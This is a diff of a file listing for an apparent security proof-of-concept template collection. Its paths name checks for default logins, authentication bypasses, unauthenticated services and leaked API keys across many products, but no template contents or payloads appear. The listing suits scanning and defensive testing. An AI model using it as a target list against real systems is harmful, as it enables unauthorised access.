./poc/auth/phpmyadmin-default-login-extended.yaml ./poc/auth/picatic-api-key-9574.yaml -./poc/auth/pictatic-api-key-9576.yaml +./poc/auth/pictatic-api-key-9575.yaml ./poc/auth/pictatic-api-key.yaml ./poc/auth/pie-register-063c45de2e7ba6c70b70f0f7b64a907f.yaml ./poc/auth/pie-register-1e2d1b7026d2269694eb54e49db13853.yaml @@ -3412,7 +3458,7 @@ ./poc/auth/pie-register.yaml ./poc/auth/pieregister-open-redirect-9577.yaml ./poc/auth/pieregister-open-redirect-9578.yaml -./poc/auth/pieregister-open-redirect.yaml +./poc/auth/pieregister-open-redirect-9579.yaml ./poc/auth/pieregister-plugin-open-redirect.yaml ./poc/auth/pinpoint-unauth-1.yaml ./poc/auth/pinpoint-unauth-2.yaml @@ -3432,10 +3478,9 @@ ./poc/auth/pmpro-register-helper.yaml ./poc/auth/poc-yaml-F5-BIG-IP-login-bypass-CVE-2022-1388.yaml ./poc/auth/poc-yaml-otter-default-password.yaml -./poc/auth/polycom-login-9625.yaml ./poc/auth/polycom-login-9626.yaml +./poc/auth/polycom-login-9627.yaml ./poc/auth/polycom-login.yaml -./poc/auth/possible-AEM-secrets.yaml ./poc/auth/postgres-default-logins.yaml ./poc/auth/postgresql-empty-password.yaml ./poc/auth/postgresql-weak-password.yaml @@ -3465,7 +3510,7 @@ ./poc/auth/pure-storage-login.yaml ./poc/auth/putty-private-key-disclosure-9729.yaml ./poc/auth/putty-private-key-disclosure-9730.yaml -./poc/auth/putty-private-key-disclosure-9732.yaml +./poc/auth/putty-private-key-disclosure-9731.yaml ./poc/auth/putty-private-key-disclosure.yaml ./poc/auth/putty-user-keyfile.yaml ./poc/auth/pypi-token.yaml @@ -3493,17 +3538,17 @@ ./poc/auth/rabbitmq-missing-auth.yaml ./poc/auth/racksnet-login.yaml ./poc/auth/rails-secret-token-disclosure-9808.yaml -./poc/auth/rails-secret-token-disclosure-9809.yaml +./poc/auth/rails-secret-token-disclosure-9810.yaml ./poc/auth/rails-secret-token-disclosure.yaml ./poc/auth/rails-secret-token.yaml ./poc/auth/rainloop-default-login-9811.yaml ./poc/auth/rainloop-default-login-9812.yaml +./poc/auth/rainloop-default-login-9813.yaml ./poc/auth/rainloop-default-login.yaml ./poc/auth/rancher-default-login-9814.yaml -./poc/auth/rancher-default-login-9815.yaml ./poc/auth/rancher-default-login-9816.yaml +./poc/auth/rancher-default-login.yaml ./poc/auth/rancher-default-password.yaml -./poc/auth/ranger-default-login-9827.yaml ./poc/auth/ranger-default-login-9828.yaml ./poc/auth/raw-cookie-reuse.yaml ./poc/auth/real-cookie-banner-1dba91bdd70cfd02be29db46dcf540b8.yaml @@ -3527,6 +3572,7 @@ ./poc/auth/redirect-by-cookie.yaml ./poc/auth/redis-default-logins.yaml ./poc/auth/redis-missing-auth.yaml +./poc/auth/redis-require-auth.yaml ./poc/auth/register-ip-multisite-15e178f013121ef759b28a01e6c6d970.yaml ./poc/auth/register-ip-multisite-16461c00bbafa3d6e662054d2e2e8dfa.yaml ./poc/auth/register-ip-multisite-3410adef7bde4200fbdd3d7ef4b4621e.yaml @@ -3580,7 +3626,6 @@ ./poc/auth/rockmongo-default-password.yml ./poc/auth/routeros-login-9909.yaml ./poc/auth/routeros-login.yaml -./poc/auth/rseenet-default-login-9913.yaml ./poc/auth/rseenet-default-login-9914.yaml ./poc/auth/rseenet-default-login-9915.yaml ./poc/auth/rseenet-default-password.yaml @@ -3604,6 +3649,9 @@ ./poc/auth/rundeck-login.yaml ./poc/auth/ruoyi-cms-unauth.yaml ./poc/auth/ruoyi-druid-unauth.yaml +./poc/auth/s3-auth-fullcontrol.yaml +./poc/auth/s3-bucket-key.yaml +./poc/auth/safenet-authentication-panel.yaml ./poc/auth/saferoads-vms-login-9970.yaml ./poc/auth/saferoads-vms-login-9971.yaml ./poc/auth/saferoads-vms-login-9972.yaml @@ -3620,6 +3668,7 @@ ./poc/auth/samsung-wlan-default-login-10015.yaml ./poc/auth/samsung-wlan-default-login-10016.yaml ./poc/auth/samsung-wlan-default-login-10017.yaml +./poc/auth/samsung-wlan-default-login-10018.yaml ./poc/auth/sangfor-ad-login-rce.yaml ./poc/auth/sangfor-behavior-management-or-identity-authentication-system.yaml ./poc/auth/sangfor-edr-arbitrary-admin-login.yaml @@ -3640,11 +3689,10 @@ ./poc/auth/seagate-nas-login.yaml ./poc/auth/seats-login-10104.yaml ./poc/auth/seats-login-10105.yaml -./poc/auth/seats-login-10106.yaml ./poc/auth/seats-login-10107.yaml +./poc/auth/seats-login-10108.yaml ./poc/auth/seats-login.yaml ./poc/auth/secnet-ac-default-login-10113.yaml -./poc/auth/secnet-ac-default-login.yaml ./poc/auth/secnet-ac-default-password.yaml ./poc/auth/secnet-ac-default-password.yml ./poc/auth/secret-patterns-db.yaml @@ -3660,8 +3708,8 @@ ./poc/auth/secure-login-panel.yaml ./poc/auth/seeddms-default-login-10125.yaml ./poc/auth/seeddms-default-login-10126.yaml -./poc/auth/seeddms-default-login-10127.yaml ./poc/auth/seeddms-default-login-10128.yaml +./poc/auth/seeddms-default-login.yaml ./poc/auth/seeddms-default-password.yaml ./poc/auth/seers-cookie-consent-banner-privacy-policy-4f15387f5459a0e8924cab286ca8a499.yaml ./poc/auth/seers-cookie-consent-banner-privacy-policy-bd970aede1f87666ed9e808ebb3d8a7e.yaml @@ -3686,7 +3734,6 @@ ./poc/auth/seo-panel-reset-password-xss.yaml ./poc/auth/sequoiadb-default-login-10150.yaml ./poc/auth/sequoiadb-default-login-10152.yaml -./poc/auth/sequoiadb-default-login.yaml ./poc/auth/sequoiadb-login.yaml ./poc/auth/server-backup-login-10153.yaml ./poc/auth/server-backup-login-10155.yaml @@ -3718,11 +3765,12 @@ ./poc/auth/service-account-credentials.yaml ./poc/auth/service-pwd-10176.yaml ./poc/auth/service-pwd-10177.yaml +./poc/auth/service-pwd-10178.yaml ./poc/auth/service-pwd-10179.yaml ./poc/auth/service-pwd.yaml ./poc/auth/servicedesk-login-panel-1.yaml -./poc/auth/servicedesk-login-panel-10171.yaml ./poc/auth/servicedesk-login-panel-10172.yaml +./poc/auth/servicedesk-login-panel-10173.yaml ./poc/auth/servicedesk-login-panel-2.yaml ./poc/auth/servicedesk-login-panel.yaml ./poc/auth/servicenow-helpdesk-credential-10174.yaml @@ -3739,7 +3787,6 @@ ./poc/auth/sgp-login-panel-10182.yaml ./poc/auth/sgp-login-panel-10183.yaml ./poc/auth/sgp-login-panel-10184.yaml -./poc/auth/sgp-login-panel-10185.yaml ./poc/auth/sgp-login-panel-10186.yaml ./poc/auth/sgp-login-panel.yaml ./poc/auth/sharecenter-login-10188.yaml @@ -3749,26 +3796,25 @@ ./poc/auth/shikongzhiyou-erp-login-fileread.yaml ./poc/auth/shikongzhiyou-login_fileread.yaml ./poc/auth/shiro-124-rememberme.yaml -./poc/auth/shopify-custom-token(1).yaml -./poc/auth/shopify-custom-token-10198.yaml +./poc/auth/shopify-custom-token-11860.yaml ./poc/auth/shopify-custom-token.yaml ./poc/auth/shopify-legacy-private-app-token.yaml +./poc/auth/shopify-private-token(1).yaml ./poc/auth/shopify-private-token-10199.yaml -./poc/auth/shopify-private-token-11861.yaml ./poc/auth/shopify-private-token.yaml ./poc/auth/shopify-shared-secret-11862.yaml ./poc/auth/shopify-shared-secret.yaml +./poc/auth/shopify-token(1).yaml ./poc/auth/shopify-token-10205.yaml -./poc/auth/shopify-token-11863.yaml ./poc/auth/shopify-token.yaml ./poc/auth/shoppable-token-10206.yaml ./poc/auth/shoppable-token-10207.yaml ./poc/auth/shoppable-token-10209.yaml -./poc/auth/shoppable-token.yaml +./poc/auth/showdoc-default-login-10219.yaml ./poc/auth/showdoc-default-login-10220.yaml ./poc/auth/showdoc-default-login-10221.yaml ./poc/auth/showdoc-default-login-10222.yaml -./poc/auth/showdoc-default-password-10224.yaml +./poc/auth/showdoc-default-login.yaml ./poc/auth/showdoc-default-password.yaml ./poc/auth/showdoc-default-password.yml ./poc/auth/sign-up-sheets-1a6bc6a5a2c08c5e6e6543ee5950eb9e.yaml @@ -3803,10 +3849,10 @@ ./poc/auth/sitecore-login.yaml ./poc/auth/sitefinity-login-10295.yaml ./poc/auth/sitefinity-login-10296.yaml +./poc/auth/sitefinity-login-10297.yaml ./poc/auth/sitefinity-login-10298.yaml -./poc/auth/sitefinity-login-10299.yaml ./poc/auth/sitefinity-login.yaml -./poc/auth/siteomat-login-10301.yaml +./poc/auth/siteomat-login-10300.yaml ./poc/auth/siteomat-login-10302.yaml ./poc/auth/siteomat-login-10303.yaml ./poc/auth/siteomat-login.yaml @@ -3820,7 +3866,7 @@ ./poc/auth/slack-bot-token-10312.yaml ./poc/auth/slack-user-token-10314.yaml ./poc/auth/slack-webhook-token-10315.yaml -./poc/auth/slocum-login-10317.yaml +./poc/auth/slocum-login-10316.yaml ./poc/auth/slocum-login.yaml ./poc/auth/smart-cookie-kit-83d9a69384e1802d7733df61ace0e7cf.yaml ./poc/auth/smart-cookie-kit-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml @@ -3831,6 +3877,8 @@ ./poc/auth/smartsense-default-login-10329.yaml ./poc/auth/smartsense-default-login-10330.yaml ./poc/auth/smartsense-default-login-10331.yaml +./poc/auth/smb-default-creds.yaml +./poc/auth/smb-signing-not-required.yaml ./poc/auth/snow-monkey-forms-10f8aaf95c8a9a6f70335d67c78546c2.yaml ./poc/auth/snow-monkey-forms-b870dfd4deccc70c5aa8363616a97294.yaml ./poc/auth/snow-monkey-forms.yaml @@ -3842,10 +3890,11 @@ ./poc/auth/social-login-lite-for-woocommerce.yaml ./poc/auth/social-login-wp-e99eebfad9065c45993831ff9d87e487.yaml ./poc/auth/social-login-wp.yaml -./poc/auth/solar-log-authbypass-10352.yaml ./poc/auth/solar-log-authbypass-10353.yaml +./poc/auth/solar-log-authbypass.yaml ./poc/auth/solarwinds-default-login-1.yaml ./poc/auth/solarwinds-default-login-10354.yaml +./poc/auth/solarwinds-default-login-10355.yaml ./poc/auth/solarwinds-default-login-10356.yaml ./poc/auth/solarwinds-default-login-2.yaml ./poc/auth/somfy-login-10371.yaml @@ -3853,14 +3902,16 @@ ./poc/auth/somfy-login.yaml ./poc/auth/sonarqube-cred.yaml ./poc/auth/sonarqube-cve-2020-27986-unauth.yml -./poc/auth/sonarqube-login-10374.yaml ./poc/auth/sonarqube-login-10375.yaml +./poc/auth/sonarqube-login-10376.yaml ./poc/auth/sonarqube-login.yaml +./poc/auth/sonarqube-token-10380.yaml ./poc/auth/sonarqube-token-10381.yaml ./poc/auth/sonarqube-token-10382.yaml ./poc/auth/sonic-wall-login.yaml ./poc/auth/sonicwall-analyzer-login.yaml ./poc/auth/sophos-xg115w-firewall-mr-10-authentication.yaml +./poc/auth/soplanning-default-login.yaml ./poc/auth/spamtitan-login-portal.yaml ./poc/auth/spark-api-unauth.yaml ./poc/auth/spark-api-unauth.yml @@ -3873,17 +3924,17 @@ ./poc/auth/spectracom-default-credential.yaml ./poc/auth/spectracom-default-login-10403.yaml ./poc/auth/spectracom-default-login-10404.yaml +./poc/auth/spectracom-default-login-10405.yaml ./poc/auth/spectracom-default-login-10406.yaml ./poc/auth/spectracom-default-password.yaml ./poc/auth/sphider-login-1.yaml +./poc/auth/sphider-login-10407.yaml ./poc/auth/sphider-login-10408.yaml ./poc/auth/sphider-login-10409.yaml -./poc/auth/sphider-login-10410.yaml ./poc/auth/sphider-login-2.yaml ./poc/auth/sphider-login-3.yaml ./poc/auth/sphider-login.yaml ./poc/auth/splunk-enterprise-login-panel.yaml -./poc/auth/splunk-login-10416.yaml ./poc/auth/splunk-login-10417.yaml ./poc/auth/splunk-login-10418.yaml ./poc/auth/splunk-login-10419.yaml @@ -3893,14 +3944,15 @@ ./poc/auth/springboot-actuator-unauth.yaml ./poc/auth/springboot-env-unauth.yaml ./poc/auth/springboot-env-unauth.yml -./poc/auth/square-access-token(1).yaml +./poc/auth/square-access-token-11867.yaml ./poc/auth/square-access-token.yaml -./poc/auth/square-oauth-secret-11868.yaml +./poc/auth/square-oauth-secret(1).yaml ./poc/auth/square-oauth-secret.yaml ./poc/auth/squirrelmail-login-10519.yaml ./poc/auth/squirrelmail-login-10520.yaml +./poc/auth/squirrelmail-login-10521.yaml ./poc/auth/squirrelmail-login.yaml -./poc/auth/squirrelmail-vkeyboard-xss-10522.yaml +./poc/auth/squirrelmail-vkeyboard-xss.yaml ./poc/auth/sqwebmail-login-panel.yaml ./poc/auth/ssh-auth-methods.yaml ./poc/auth/ssh-authorized-keys-1.yaml @@ -3919,25 +3971,27 @@ ./poc/auth/stackstorm-default-login-10530.yaml ./poc/auth/stackstorm-default-login.yaml ./poc/auth/stem-audio-table-private-keys-10533.yaml -./poc/auth/stem-audio-table-private-keys-10534.yaml +./poc/auth/stem-audio-table-private-keys-10535.yaml ./poc/auth/stem-audio-table-private-keys-10536.yaml ./poc/auth/stem-audio-table-private-keys.yaml ./poc/auth/steve-login-panel.yaml ./poc/auth/storm-unauthorized-access.yaml -./poc/auth/stripe-api-key-11869.yaml +./poc/auth/stripe-api-key(1).yaml ./poc/auth/stripe-api-key.yaml ./poc/auth/stripe-restricted-key-10553.yaml ./poc/auth/stripe-restricted-key-10554.yaml ./poc/auth/stripe-restricted-key-10555.yaml -./poc/auth/stripe-secret-key-10556.yaml ./poc/auth/stripe-secret-key-10557.yaml ./poc/auth/stripe-secret-key-10558.yaml -./poc/auth/submitty-login-10567.yaml +./poc/auth/stripe-secret-key.yaml +./poc/auth/structurizr-default-login.yaml +./poc/auth/submitty-login-10568.yaml ./poc/auth/submitty-login.yaml ./poc/auth/subrion-login.yaml ./poc/auth/sunlogin.yaml ./poc/auth/sunlogin_RCE_CNVD-2022-10270.yaml ./poc/auth/supermicro-default-login-10572.yaml +./poc/auth/supermicro-default-login.yaml ./poc/auth/superset-default-login-10573.yaml ./poc/auth/superset-default-login-10574.yaml ./poc/auth/superset-default-login.yaml @@ -3954,6 +4008,7 @@ ./poc/auth/symantec-ewep-login-10606.yaml ./poc/auth/symantec-ewep-login.yaml ./poc/auth/szhe-default-login-10635.yaml +./poc/auth/szhe-default-login-10636.yaml ./poc/auth/szhe-default-login-10637.yaml ./poc/auth/szhe-default-login-10638.yaml ./poc/auth/szhe-default-password-10639.yaml @@ -3974,6 +4029,7 @@ ./poc/auth/temporary-login-without-password.yaml ./poc/auth/tenda-11n-cookie-unauth-access.yaml ./poc/auth/tenda-11n-wireless-router-login.yaml +./poc/auth/tendat-credential.yaml ./poc/auth/tensorboard-unauth.yaml ./poc/auth/tensorboard-unauth.yml ./poc/auth/terramaster-login-10713.yaml @@ -3986,9 +4042,10 @@ ./poc/auth/threatq-login.yaml ./poc/auth/thruk-login.yaml ./poc/auth/tidb-native-password.yaml -./poc/auth/tidb-unauth-10770.yaml ./poc/auth/tidb-unauth-10771.yaml ./poc/auth/tidb-unauth-10772.yaml +./poc/auth/tidb-unauth.yaml +./poc/auth/timekeeper-default-login.yaml ./poc/auth/tingsboard-default-login.yaml ./poc/auth/tisson-system.yaml ./poc/auth/tlr-2005ksh-login.yaml @@ -4032,7 +4089,6 @@ ./poc/auth/trilithic-viewpoint-login-10838.yaml ./poc/auth/trilithic-viewpoint-login-10839.yaml ./poc/auth/trilithic-viewpoint-login-10840.yaml -./poc/auth/trilithic-viewpoint-login.yaml ./poc/auth/trunkey-icpsystem.yaml ./poc/auth/tufin-securetrack-login.yaml ./poc/auth/turnkey-openvpn.yaml @@ -4048,7 +4104,6 @@ ./poc/auth/ucmdb-default-login-10868.yaml ./poc/auth/ucmdb-default-login-10870.yaml ./poc/auth/ucmdb-default-login-10871.yaml -./poc/auth/ucmdb-default-login.yaml ./poc/auth/uk-cookie-consent-0bbba77520762097a09ab36a8d9ac90f.yaml ./poc/auth/uk-cookie-consent.yaml ./poc/auth/uk-cookie-d24507ac932285b70361a7e9dd308165.yaml @@ -4056,7 +4111,7 @@ ./poc/auth/umbraco-login.yaml ./poc/auth/unauth-axyom-network-manager.yaml ./poc/auth/unauth-celery-flower.yaml -./poc/auth/unauth-ftp-10940.yaml +./poc/auth/unauth-ftp-10939.yaml ./poc/auth/unauth-ftp-10941.yaml ./poc/auth/unauth-ftp-10942.yaml ./poc/auth/unauth-ftp.yaml @@ -4070,9 +4125,11 @@ ./poc/auth/unauth-message-read-1.yaml ./poc/auth/unauth-message-read-10944.yaml ./poc/auth/unauth-message-read-10945.yaml +./poc/auth/unauth-message-read-10946.yaml ./poc/auth/unauth-message-read-10947.yaml ./poc/auth/unauth-message-read-2.yaml ./poc/auth/unauth-opache-control-panel.yaml +./poc/auth/unauth-psql.yaml ./poc/auth/unauth-rlm-10960.yaml ./poc/auth/unauth-rlm.yaml ./poc/auth/unauth-spark-api-10961.yaml @@ -4081,9 +4138,9 @@ ./poc/auth/unauth-spark-api-10964.yaml ./poc/auth/unauth-spark-api-10965.yaml ./poc/auth/unauth-temporal-web-ui.yaml +./poc/auth/unauth-wavink-panel-10966.yaml ./poc/auth/unauth-wavink-panel-10967.yaml -./poc/auth/unauth-wavink-panel.yaml -./poc/auth/unauth-xproxy-dashboard-10969.yaml +./poc/auth/unauth-xproxy-dashboard-10968.yaml ./poc/auth/unauth-xproxy-dashboard.yaml ./poc/auth/unauth-zwave-mqtt.yaml ./poc/auth/unauthen-elastic.yaml @@ -4091,6 +4148,7 @@ ./poc/auth/unauthenticated-airflow-10884.yaml ./poc/auth/unauthenticated-airflow-10885.yaml ./poc/auth/unauthenticated-airflow-10886.yaml +./poc/auth/unauthenticated-airflow-10887.yaml ./poc/auth/unauthenticated-airflow.yaml ./poc/auth/unauthenticated-alert-manager-10888.yaml ./poc/auth/unauthenticated-alert-manager-10889.yaml @@ -4102,16 +4160,15 @@ ./poc/auth/unauthenticated-frp-10895.yaml ./poc/auth/unauthenticated-frp-10896.yaml ./poc/auth/unauthenticated-frp.yaml -./poc/auth/unauthenticated-glances-10898.yaml ./poc/auth/unauthenticated-glances-10899.yaml -./poc/auth/unauthenticated-glowroot-10900.yaml +./poc/auth/unauthenticated-glances.yaml ./poc/auth/unauthenticated-glowroot-10901.yaml ./poc/auth/unauthenticated-glowroot-10902.yaml ./poc/auth/unauthenticated-influxdb.yaml ./poc/auth/unauthenticated-jenkin-dashboard.yaml ./poc/auth/unauthenticated-jenkins.yaml +./poc/auth/unauthenticated-lansweeper-10904.yaml ./poc/auth/unauthenticated-lansweeper-10905.yaml -./poc/auth/unauthenticated-lansweeper-10906.yaml ./poc/auth/unauthenticated-lansweeper.yaml ./poc/auth/unauthenticated-mongo-express-1.yaml ./poc/auth/unauthenticated-mongo-express-10908.yaml @@ -4120,7 +4177,7 @@ ./poc/auth/unauthenticated-mongo-express-10911.yaml ./poc/auth/unauthenticated-mongo-express-2.yaml ./poc/auth/unauthenticated-nacos-access-1.yaml -./poc/auth/unauthenticated-nacos-access-10912.yaml +./poc/auth/unauthenticated-nacos-access-10913.yaml ./poc/auth/unauthenticated-nacos-access-10914.yaml ./poc/auth/unauthenticated-nacos-access-10915.yaml ./poc/auth/unauthenticated-nacos-access-2.yaml @@ -4137,15 +4194,13 @@ ./poc/auth/unauthenticated-prtg-10925.yaml ./poc/auth/unauthenticated-prtg-10926.yaml ./poc/auth/unauthenticated-prtg-10927.yaml -./poc/auth/unauthenticated-prtg-10928.yaml +./poc/auth/unauthenticated-prtg.yaml ./poc/auth/unauthenticated-qax-vpn-access.yaml ./poc/auth/unauthenticated-tensorboard-10929.yaml -./poc/auth/unauthenticated-tensorboard.yaml -./poc/auth/unauthenticated-varnish-cache-purge-10931.yaml +./poc/auth/unauthenticated-tensorboard-10930.yaml ./poc/auth/unauthenticated-varnish-cache-purge-10932.yaml ./poc/auth/unauthenticated-varnish-cache-purge-10933.yaml ./poc/auth/unauthenticated-varnish-cache-purge-10934.yaml -./poc/auth/unauthenticated-zipkin-10935.yaml ./poc/auth/unauthenticated-zipkin-10936.yaml ./poc/auth/unauthenticated-zippkin-10938.yaml ./poc/auth/unauthenticated-zippkin.yaml @@ -4153,12 +4208,14 @@ ./poc/auth/unauthorized-access.yaml ./poc/auth/unauthorized-brother-access-detect.yaml ./poc/auth/unauthorized-h3csecparh-login-10948.yaml -./poc/auth/unauthorized-h3csecparh-login-10949.yaml +./poc/auth/unauthorized-h3csecparh-login.yaml ./poc/auth/unauthorized-hp-officepro-printer-10950.yaml ./poc/auth/unauthorized-hp-officepro-printer.yaml +./poc/auth/unauthorized-hp-printer-10951.yaml ./poc/auth/unauthorized-hp-printer-10952.yaml ./poc/auth/unauthorized-hp-printer-10954.yaml ./poc/auth/unauthorized-hp-printer.yaml +./poc/auth/unauthorized-plastic-scm-10955.yaml ./poc/auth/unauthorized-plastic-scm-10956.yaml ./poc/auth/unauthorized-plastic-scm-10957.yaml ./poc/auth/unauthorized-printer-hp.yaml @@ -4183,11 +4240,13 @@ ./poc/auth/v-secure-edr-login-sqli.yaml ./poc/auth/vcenter-weak-password-policy.yaml ./poc/auth/versa-default-login-11002.yaml +./poc/auth/versa-default-login-11003.yaml ./poc/auth/versa-default-login-11004.yaml ./poc/auth/versa-default-password.yaml ./poc/auth/versa-director-login.yaml ./poc/auth/versa-flexvnf-ui-default-login.yaml ./poc/auth/vidyo-default-login-11008.yaml +./poc/auth/vidyo-default-login-11009.yaml ./poc/auth/vidyo-default-login-11010.yaml ./poc/auth/vidyo-login.yaml ./poc/auth/vigor-login-11020.yaml @@ -4200,11 +4259,15 @@ ./poc/auth/visionhub-default-login-11026.yaml ./poc/auth/visionhub-default-login-11027.yaml ./poc/auth/visionhub-default-login-11028.yaml +./poc/auth/visionhub-default-login-11029.yaml +./poc/auth/visionhub-default-login.yaml ./poc/auth/visual-footer-credit-remover-40c1f14bac0deb0ecd086748a7d4c541.yaml ./poc/auth/visual-footer-credit-remover.yaml +./poc/auth/vmware-authentication-daemon-detect.yaml ./poc/auth/vmware-hcx-login.yaml ./poc/auth/vmware-nsx-login.yaml ./poc/auth/vmware-vcenter-unauthorized-rce-cve-2021-21972.yml +./poc/auth/vpms-auth-bypass-11066.yaml ./poc/auth/vpms-auth-bypass-11067.yaml ./poc/auth/vpms-auth-bypass-11068.yaml ./poc/auth/vpms-auth-bypass-11069.yaml @@ -4214,8 +4277,9 @@ ./poc/auth/wanhu-ezoffice-wf-accessory-delete-sqli.yaml ./poc/auth/wanhuOA-default-login.yaml ./poc/auth/wanhuOA-sqli-outMailLoginCheck.yaml -./poc/auth/watchguard-credentials-disclosure-11106.yaml +./poc/auth/watchguard-credentials-disclosure-11105.yaml ./poc/auth/watchguard-credentials-disclosure-11107.yaml +./poc/auth/watchguard-credentials-disclosure.yaml ./poc/auth/wayos-ac-centralized-management-system-default-weak-password.yaml ./poc/auth/wayos-default-password.yaml ./poc/auth/wazuh-default-login.yaml @@ -4368,13 +4432,13 @@ ./poc/auth/wpconfig-aws-keys-1.yaml ./poc/auth/wpconfig-aws-keys-2.yaml ./poc/auth/wpconfig-aws-keys.yaml +./poc/auth/wpdm-cache-session-11436.yaml ./poc/auth/wpdm-cache-session-11437.yaml ./poc/auth/wpdm-cache-session-11438.yaml -./poc/auth/wpdm-cache-session-11439.yaml ./poc/auth/wpdm-cache-session.yaml ./poc/auth/wpmudev-pub-keys-11504.yaml ./poc/auth/wpmudev-pub-keys-11505.yaml -./poc/auth/wpmudev-pub-keys-11506.yaml +./poc/auth/wpmudev-pub-keys-11507.yaml ./poc/auth/wpmudev-pub-keys.yaml ./poc/auth/wpo365-login-78ebf1049c10ddea703226e9798c9f14.yaml ./poc/auth/wpo365-login-b42359728e76b0d180e7fa1e8292b5a9.yaml @@ -4405,17 +4469,17 @@ ./poc/auth/wps-limit-login-plugin.yaml ./poc/auth/wps-limit-login.yaml ./poc/auth/wsdl-user-pwd-change.yaml +./poc/auth/wso2-default-login-11640.yaml ./poc/auth/wso2-default-login-11641.yaml ./poc/auth/wso2-default-login-11642.yaml ./poc/auth/wso2-default-login-11643.yaml ./poc/auth/wso2-default-password.yaml +./poc/auth/xenforo-login-11670.yaml ./poc/auth/xenforo-login-11671.yaml ./poc/auth/xenforo-login-11672.yaml -./poc/auth/xenforo-login-11673.yaml -./poc/auth/xenforo-login-11674.yaml ./poc/auth/xenforo-login.yaml +./poc/auth/xenmobile-login-11675.yaml ./poc/auth/xenmobile-login-11676.yaml -./poc/auth/xenmobile-login-11677.yaml ./poc/auth/xenmobile-login.yaml ./poc/auth/xerox-workcentre7-default-password.yaml ./poc/auth/xerox7-default-login-11678.yaml @@ -4426,17 +4490,17 @@ ./poc/auth/xibocms-login.yaml ./poc/auth/xidite-wifi-web-cookie-bypass.yaml ./poc/auth/xnat-login.yaml +./poc/auth/xvr-login-11702.yaml ./poc/auth/xvr-login-11703.yaml ./poc/auth/xvr-login-11704.yaml -./poc/auth/xvr-login-11705.yaml ./poc/auth/xvr-login-11706.yaml ./poc/auth/xvr-login.yaml -./poc/auth/xxljob-default-login-11709.yaml ./poc/auth/xxljob-default-login-11710.yaml ./poc/auth/xxljob-default-login-11711.yaml ./poc/auth/xxljob-default-login-11712.yaml ./poc/auth/xxljob-default-login-11713.yaml ./poc/auth/xxljob-default-login-11714.yaml +./poc/auth/xxljob-default-login.yaml ./poc/auth/yealinkpreauthrce.yaml ./poc/auth/yith-easy-login-register-popup-for-woocommerce-af03f00eafbcbe5e2d95aac25b61c1ec.yaml ./poc/auth/yith-easy-login-register-popup-for-woocommerce.yaml @@ -4471,7 +4535,6 @@ ./poc/auth/zabbix-default-credentials.yaml ./poc/auth/zabbix-default-login-11760.yaml ./poc/auth/zabbix-default-login-11761.yaml -./poc/auth/zabbix-default-login-11762.yaml ./poc/auth/zabbix-default-login-11763.yaml ./poc/auth/zabbix-default-login.yaml ./poc/auth/zabbix-default-password.yaml @@ -4488,16 +4551,16 @@ ./poc/auth/zeroshell-login-11790.yaml ./poc/auth/zeroshell-login.yaml ./poc/auth/zhiyuan-oa-session-leak-11801.yaml +./poc/auth/zhiyuan-oa-session-leak-11802.yaml ./poc/auth/zhiyuan-oa-session-leak-11803.yaml -./poc/auth/zhiyuan-oa-session-leak-11804.yaml ./poc/auth/zhiyuan-oa-session-leak-11805.yaml +./poc/auth/zhiyuan-oa-session-leak.yaml +./poc/auth/zhiyuan-oa-unauthorized-11806.yaml ./poc/auth/zhiyuan-oa-unauthorized-11807.yaml -./poc/auth/zhiyuan-oa-unauthorized-11808.yaml ./poc/auth/zhiyuan-oa-unauthorized.yaml ./poc/auth/zhiyuan-session-leakage.yaml ./poc/auth/zimbra-preauth-ssrf-11809.yaml ./poc/auth/zimbra-preauth-ssrf-11810.yaml -./poc/auth/zimbra-preauth-ssrf-11811.yaml ./poc/auth/zimbra-web-login.yaml ./poc/auth/zipkin-unauth-11823.yaml ./poc/auth/zipkin-unauth.yaml @@ -4507,16 +4570,16 @@ ./poc/auth/zm-ajax-login-register.yaml ./poc/auth/zmanda-default-credential.yaml ./poc/auth/zmanda-default-login-11825.yaml -./poc/auth/zmanda-default-login-11826.yaml ./poc/auth/zmanda-default-login-11827.yaml ./poc/auth/zmanda-default-login-11828.yaml +./poc/auth/zmanda-default-login.yaml ./poc/auth/zms-auth-bypass-11829.yaml ./poc/auth/zms-auth-bypass-11831.yaml ./poc/auth/zms-auth-bypass-11832.yaml ./poc/auth/zms-auth-bypass.yaml -./poc/auth/zoho-webhook-token-11835.yaml ./poc/auth/zoho-webhook-token-11836.yaml ./poc/auth/zoho-webhook-token-11837.yaml +./poc/auth/zoho-webhook-token.yaml ./poc/auth/zoneminder-login.yaml ./poc/auth/zyxel-vmg1312b10d-login.yaml ./poc/auth/zyxel-vsg1432b101-login.yaml @@ -4677,9 +4740,8 @@ ./poc/aws/amazon-auto-links-plugin.yaml ./poc/aws/amazon-auto-links.yaml ./poc/aws/amazon-docker-config-279.yaml -./poc/aws/amazon-docker-config-disclosure-278.yaml +./poc/aws/amazon-docker-config-280.yaml ./poc/aws/amazon-docker-config-disclosure.yaml -./poc/aws/amazon-docker-config.yaml ./poc/aws/amazon-ec2-ssrf.yaml ./poc/aws/amazon-einzeltitellinks-6c575ce7bdb8499dce4ce35ed88e8474.yaml ./poc/aws/amazon-einzeltitellinks.yaml @@ -4690,7 +4752,8 @@ ./poc/aws/amazon-mws-auth-token-282.yaml ./poc/aws/amazon-mws-auth-token-283.yaml ./poc/aws/amazon-mws-auth-token-detect.yaml -./poc/aws/amazon-mws-auth-token-value.yaml +./poc/aws/amazon-mws-auth-token.yaml +./poc/aws/amazon-mws-auth-token_重复副本.yaml ./poc/aws/amazon-phish.yaml ./poc/aws/amazon-product-in-a-post-plugin-d41d8cd98f00b204e9800998ecf8427e.yaml ./poc/aws/amazon-product-in-a-post-plugin-d983383ac1f96dc90524e93ede3ac0bd.yaml @@ -4717,37 +4780,42 @@ ./poc/aws/arconix-faq-03fd7fbcfd3967eecec2212a351e2737.yaml ./poc/aws/arconix-shortcodes-03fd7fbcfd3967eecec2212a351e2737.yaml ./poc/aws/armember-membership-76d089af6b78d98ec2c18a1732ae08c5.yaml +./poc/aws/aws-access-id-618.yaml ./poc/aws/aws-access-id-619.yaml -./poc/aws/aws-access-id-620.yaml ./poc/aws/aws-access-id.yaml ./poc/aws/aws-access-key-value-622.yaml ./poc/aws/aws-access-key-value-623.yaml +./poc/aws/aws-access-key-value-625.yaml ./poc/aws/aws-access-key-value.yaml ./poc/aws/aws-access-key.yaml ./poc/aws/aws-app-enum.yaml ./poc/aws/aws-bucket-service-626.yaml ./poc/aws/aws-bucket-service-627.yaml +./poc/aws/aws-bucket-service-628.yaml ./poc/aws/aws-bucket-service-629.yaml -./poc/aws/aws-bucket-service.yaml 